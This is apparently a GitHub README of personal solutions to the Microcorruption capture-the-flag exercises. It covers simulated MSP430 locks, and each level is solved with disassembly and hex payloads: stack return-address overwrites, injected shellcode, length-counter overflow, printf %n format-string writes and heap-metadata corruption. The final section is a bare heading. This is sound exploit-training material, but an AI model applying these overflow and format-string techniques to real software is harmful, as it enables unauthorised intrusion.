Files
microcorruption/README.md

441 lines
13 KiB
Markdown
Raw Normal View History

2023-01-21 18:30:32 +01:00
# microcorruption
2023-01-21 13:20:59 -05:00
My solutions to the fantastic Microcorruption exercises.
## Tutorial
Code that compares the password to the expected length of 8 characters.
```
4484: 6e4f mov.b @r15, r14
4486: 1f53 inc r15
4488: 1c53 inc r12
448a: 0e93 tst r14
448c: fb23 jnz $-0x8 <check_password+0x0>
448e: 3c90 0900 cmp #0x9, r12
4492: 0224 jz $+0x6 <check_password+0x14>
```
Any eight characters input is valid, for example:
```
password
```
## New Orleans
Password is hardcoded and located at address 0x2400.
```
2400: 764f 7050 6e4b 5300 0000 0000 0000 0000 vOpPnKS.
```
Solution:
```
vOpPnKS
```
## Sydney
The password is hardcoded in the `check_password` routine:
```
448a <check_password>
448a: bf90 4f78 0000 cmp #0x784f, 0x0(r15)
4490: 0d20 jnz $+0x1c <check_password+0x22>
4492: bf90 3b77 0200 cmp #0x773b, 0x2(r15)
4498: 0920 jnz $+0x14 <check_password+0x22>
449a: bf90 2b74 0400 cmp #0x742b, 0x4(r15)
44a0: 0520 jnz $+0xc <check_password+0x22>
44a2: 1e43 mov #0x1, r14
44a4: bf90 5d2f 0600 cmp #0x2f5d, 0x6(r15)
44aa: 0124 jz $+0x4 <check_password+0x24>
```
Solution (hex, byte ordering is little endian):
```
4f783b772b745d2f
```
ASCII equivalent:
```
Ox;w+t]/
```
## Hanoi
The input password does not matter. Instead, there is a hardcoded comparison of
0xb with the value at 0x2410.
```
4552: 3f40 d344 mov #0x44d3 "Testing if password is valid.", r15
4556: b012 de45 call #0x45de <puts>
455a: f290 0b00 1024 cmp.b #0xb, &0x2410
4560: 0720 jnz $+0x10 <login+0x50>
4562: 3f40 f144 mov #0x44f1 "Access granted.", r15
4566: b012 de45 call #0x45de <puts>
456a: b012 4844 call #0x4448 <unlock_door>
```
The input password is stored at 0x2400, so we can input a long enough string
to set 0x2410 to 0xb. Solution in hex:
```
16 bytes from 0x2400 to 0x240f
\
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb0b
--
set 0x2410 to 0xb /
```
## Cusco
At the end of the `login` function the stackpointer points to 0x43fe. The input
password is allocated to 0x43ee. That means we can override the return address
at 0x43fe with the address of the `unlock_door` door function at 0x4446.
Solution in hex:
```
16 bytes from 0x43ee to 0x43fe
\
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb4644
----
/
set 0x43fe to 0x4644 (unlock_door)
```
## Reykjavik
2023-01-21 14:42:35 -05:00
This exercise is only tricky because the application decrypts the code into
0x2400 at runtime and then executes from there. The consequence is that no
disassembly view is available.
2023-01-21 13:20:59 -05:00
2023-01-21 14:42:35 -05:00
The easiest way to solve this is to run till the password prompt. Then single
step and the second instruction will look like this:
```
CPU Cycles: 22680
b490 455e dcff
cmp #0x5e45, -0x24(r4)
```
We can then guess that 455e (hex) (0x5e45 in little endian) is the solution:
```
455e
```
If we hadn't gotten that lucky, the next step would be to copy and disassembly
all the code starting at 0x2400. We will probably have to do something like
that in later exercises.
## Whitehorse
For this exercise we combine two techniques. First, we notice that the
vulnerability we first saw in Cusco where we can manipulate the return address
to any value is present. However, because HSM-2 is in use, there is no unlock
door function.
Second, we notice that the password input is stored at 0x36b8.
What that allows us to do is to inject code that unlocks the door, and then
jump to that exact code via the return address manipulation.
We write the code to unlock the door:
```
push #0x7f // INT ID for unlock door
call #0x4532 // jump to INT
```
And [assemble](https://microcorruption.com/assembler) it to:
```
30127f00b0123245
```
Then we add a fill pattern and change the return address to 0x36b8, so that
the injected code gets executed. The result in hex looks like this:
```
code to unlock door / return to injected code
---------------- ----
30127f00b0123245eeeeeeeeeeeeeeeeb836
----------------
fill up /
```
## Montevideo
This one is similar to Whitehorse, except a string copy function copies
the input password to a different location. That is an issue because our
previous code contains 0x00 (null character) which terminates the string.
To work around this, we have to get creative to avoid 0x00 in our code. For
example, the following works:
```
mov #0x1190, r15
sub #0x1111, r15
push r15 // 0x1190 - 0x1111 = 0x7f <=> ID for unlock door
call #0x454c // jump to INT
```
Because it results in the following assembly without 0x00:
```
3f4090113f8011110f12b0124c45
```
As before, we manipulate the return address to execute the injected code, and
get the solution (in hex):
```
code to unlock door / return to injected code
---------------------------- ----
3f4090113f8011110f12b0124c45ccccee43
----
two fill bytes /
```
## Johannesburg
This lock uses HSM-1 and we can directly manipulate the return address
to jump to the unlock door function. However, there is an additional check
that verifies that the 18th (0x11 offset) character of the input is 0x40:
```
4578: f190 4000 1100 cmp.b #0x40, 0x11(sp)
```
Therefore, we have to make sure that this byte of our input is 0x40, and
then change the return address to 0x4446 (unlock door functio entry). The solution is
then (in hex):
```
fill bytes / override stack to return to unlock_door
---------------------------------- ----
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa404644
--
pass check at 0x4578 /
```
## Santa Cruz
This is another exercise where we can manipulate the return address to point to
the unlock function. However, there are two checks that make our life harder.
Firstly, the value at 0x43b3 (0x08 intially) and 0x43b4 (0x10 initially) are used to
validate the minimum and maximum length of the user password.
Secondly, the byte at 0x43c6 must be zero, otherwise the program stops execution before
the return pointer manipulation becomes effection.
With that information, we can set the username to (in hex):
```
/ upper and lower password length bounds
----
ccccccccccccccccccccccccccccccccff01cccccccccccccccccccccccccccccccccccccccccccccccc4a44
----
return address to unlock_door /
```
And the password to:
```
-- byte at 0x43c6 must be zero (via null byte of <getsn>)
2222222222222222222222222222222222
```
## Jakarta
This exercise is yet again vulnerable to a return address override. However,
it also executes a length check which prevents us from making the input long
enough to override the return address.
However, we can make the password long enough to overflow the length counter and therefore
circumvent the length check.
For example, the username could be the following (in hex):
```
6161616161616161616161616161616161616161616161616161616161616161
```
And then we use the following passowrd.
```
/ set return address to unlock_door
----
626262624c44626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
62626262626262626262626262626262626262626262626262626262
-
\ make rest of string long enough to overflow input length counter
```
## Addis Ababa
2023-01-21 14:54:00 -05:00
This is the first exercise that uses printf to print the password back to the
user. The printf-function provides a couple of conversion specifiers like `%s`,
`%x`, `%c` and `%n`.
In this exercise, the value at 0x3a60 must not be zero to unlock the door.
We can use a bug in printf that uses the printf string as the output address of
`%n` to set 0x3a60 to a non-zero value. If we use `%n` twice, the second `%n`
will then write `3` (number of characters to this point) into that address.
2023-01-21 14:42:35 -05:00
```
2023-03-11 15:22:09 -05:00
address of unlock door
2023-01-21 14:54:00 -05:00
/
----
2023-01-21 14:42:35 -05:00
603a256e61256e
2023-01-21 14:54:00 -05:00
----------
\ %na%n
2023-01-21 14:42:35 -05:00
```
2023-01-21 14:54:00 -05:00
## Novosibirsk
2023-03-11 15:22:09 -05:00
This is the second exercise where we can exploit a printf vulnerability. The key insight we've
gained while playing with different inputs is that '%n' writes the number of characters written so
far to the address defined by the two initial characters. We can use this insight to replace the
HSM-2 interrupt `0x7e` with the door unlock interrupt `0x7f`.
To build the attack, the first to characters must point to `0x44c8` where
`0x7e` is located. Then, we must make the string exactly long enough so that
the final number of characters is `0x7f`. Finally, we add `%n` to trigger the
attack.
```
address of HSM-2 interrupt ID
/ '%n'
/ /
---- -----
c844 + '61' * 0x7d + 256e
-----------
\ Make numbers
```
## Algiers
2023-04-07 18:26:20 -04:00
When looking at Algiers, we quickly realize that the `free` function is more
than wacky. Since there is no `printf` in this exercise, we suspect that the
vulnerability is in that function.
We find the locations of the first and second input, and quickly realize that
by making the first input long enough, we can manipulate the first free
function which operates on the addresses from `0x2424 - 6` onward.
Specifically, We can override the values `0824 3424 2100` via the first input.
```
2400: 0824 0010 0000 0000 0824 1e24 2100 aabb
\____ location of first input
we can override this with the first input
____/
2410: 0000 0000 0000 0000 0000 0000 0000 0824
----
\ R15 points to this address in the first
call to `free`
we can overrid this too
/
---- ----
2420: 3424 2100 ccdd 0000 0000 0000 0000 0000
----
\
location of the second input
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000
```
Therefore, an input to not change the behavior would look like this.
```
beefbeefbeefbeefbeefbeefbeefbeef_0824_3424_2100 // input 1
aabb // input 2 - doesn't matter
```
Now, an insight that we might have is that we jump over the code at `0x4524` as
long as bit zero at `0x2408` is not not zero. Unfortunately, by default it is
zero, but by changing R15 to `0x241e` we point it to the address where the code
in `free` sets bit zero of the value at that address to zero:
```
450a: 3f50 faff add #0xfffa, r15
450e: 1d4f 0400 mov 0x4(r15), r13
4512: 3df0 feff and #0xfffe, r13 // set bit zero of r13 to zero
4516: 8f4d 0400 mov r13, 0x4(r15) // write value back to 00x241e + 4
```
So, with the following input, we land in the first branch:
```
beefbeefbeefbeefbeefbeefbeefbeef_1e24_3424_2100 // step 1 to solution
----
\
get into first branch by loading a value
whose zero bit is zero
```
When taking the first branch, we realize that the following code allows us to
insert a value for `R15 + 2` that R14 is then written into. Here R15 is the
second word in our three words that we can manipulate.
```
452e: 9e4f 0200 0200 mov 0x2(r15), 0x2(r14)
4534: 1d4f 0200 mov 0x2(r15), r13
4538: 8d4e 0000 mov r14, 0x0(r13)
```
In other words, that gives us write access to an arbitrary location by changing
`3424` in our input accordingly.
The question is where to write to. The first thing that comes to mind is
manipulating the return pointer of the `login` function. However, when stepping
through the `free` function, we might notice that it's `ret` instruction is
directly followed by `unlock_door`.
```
4508 <free>
// code removed
4562: 3041 ret
4564 <unlock_door>
4564: 3012 7f00 push #0x7f
4568: b012 b646 call #0x46b6 <INT>
456c: 2153 incd sp
456e: 3041 ret
```
Probably not a coinsidence. If we change `3424` to `6245` we can override the
return instruction fall through to `unlock_door`.
```
beefbeefbeefbeefbeefbeefbeefbeef_1e24_6245_2100 // step 2 to solution
```
When we run this code, whatever is in R14 will override the return instruction.
In this case, that whatever is `241e` which disassembles to `push @r4`. We got
lucky, it's a valid instruction. And with that it turns out that step 2 is our
final solution to solve Algiers.
```
beefbeefbeefbeefbeefbeefbeefbeef1e2462452100
```
## Vladivostok
2023-03-11 15:22:09 -05:00